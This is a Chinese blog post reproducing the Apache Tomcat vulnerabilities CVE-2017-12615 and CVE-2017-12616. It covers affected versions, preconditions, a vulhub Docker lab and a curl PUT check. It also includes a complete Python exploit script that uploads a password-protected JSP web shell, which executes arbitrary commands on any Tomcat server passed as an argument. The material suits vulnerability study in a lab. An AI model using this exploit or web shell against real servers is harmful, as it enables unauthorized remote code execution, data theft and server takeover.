zoukankan      html  css  js  c++  java
  • CVE-2017-12615漏洞复现附EXP

    CVE-2017-12615复现

    0x00 漏洞介绍

    漏洞编号:

    CVE-2017-12615

    CVE-2017-12616

    漏洞名称:

    CVE-2017-12615-远程代码执行漏洞

    CVE-2017-12616-信息泄露漏洞

    官方评级:

    高危

    漏洞描述:

    CVE-2017-12616:信息泄露漏洞

    当Tomcat中启用了 VirtualDirContext时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由VirtualDirContext提供支持资源服务的JSP源代码,从而造成代码信息泄露。

    CVE-2017-12615:远程代码执行漏洞

    当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

    通过以上两个漏洞可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

    漏洞利用条件和方式:

    CVE-2017-12615漏洞利用需要在Windows环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。
    CVE-2017-12616漏洞需要在server.xml文件配置VirtualDirContext参数,经过实际测试,Tomcat 7.x版本内默认配置无VirtualDirContext参数,需要手工添加,默认配置条件下不受此漏洞影响。
    漏洞影响范围:

    CVE-2017-12616影响范围:Apache Tomcat 7.0.0 - 7.0.80
    CVE-2017-12615影响范围: Apache Tomcat 7.0.0 - 7.0.79

    0x01 环境搭建

    使用docker搭建漏洞环境

    github地址:
    https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615

    0x02 漏洞验证

    这里我直接搭建在本地80端口上,linux系统下使用curl直接验证漏洞。

    执行命令
    curl -XPUT 127.0.0.1/2.jsp/ --data "test"

    漏洞验证脚本

    import requests
    import sys
    import time
    
    '''
    Usage:
    	python CVE-2017-12615.py http://127.0.0.1
    
    	shell: http://127.0.0.1/201712615.jsp?pwd=fff&cmd=whoami
    
    
    '''
    
    def attack(url):
    	user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
    	headers={"User-Agent":user_agent}
    	data="""<%
        if("fff".equals(request.getParameter("pwd"))){
            java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int a = -1;
            byte[] b = new byte[2048];
            out.print("<pre>");
            while((a=in.read(b))!=-1){
                out.println(new String(b));
            }
            out.print("</pre>");
        }
    %>"""
    	try:
    		requests.put(url, headers=headers, data=data)
    
    		time.sleep(2)
    
    		verify_response = requests.get(url[:-1], headers=headers)
    
    		if verify_response.status_code == 200:
    			print 'success!'
    		else :
    			print verify_response.status_code
    
    	except :
    		"error"
    
    if __name__ == '__main__':
    	target_url = sys.argv[1] + '/201712615.jsp/'
    
    	attack(target_url)
    	print 'shell: ' + target_url[:-1]
    
    
  • 相关阅读:
    ASP.NET编程的十大技巧
    ADO.NET实用经验总结(5大对象访问数据库)
    一些讲C#3.0 的好文章收集
    新打开窗口,MD5加密,实体类方式保存在Session中,获得系统根路径,分页,动态获取XML数据到页面
    System.Drawing.Color.FromArgb(144,238,255);
    重要社区链接(资源技术网站)
    case when factsqy is NULL then '0' when factsqy is NOT NULL then factsqy end as factqtys
    了解Linq之前需要知道的一些概念
    sql left out join http://hi.baidu.com/llscompazz/blog/item/dc5e23d9ce2b62eb39012fb4.html
    正則表達式驗證通用方法
  • 原文地址:https://www.cnblogs.com/deen-/p/7566024.html
Copyright © 2011-2022 走看看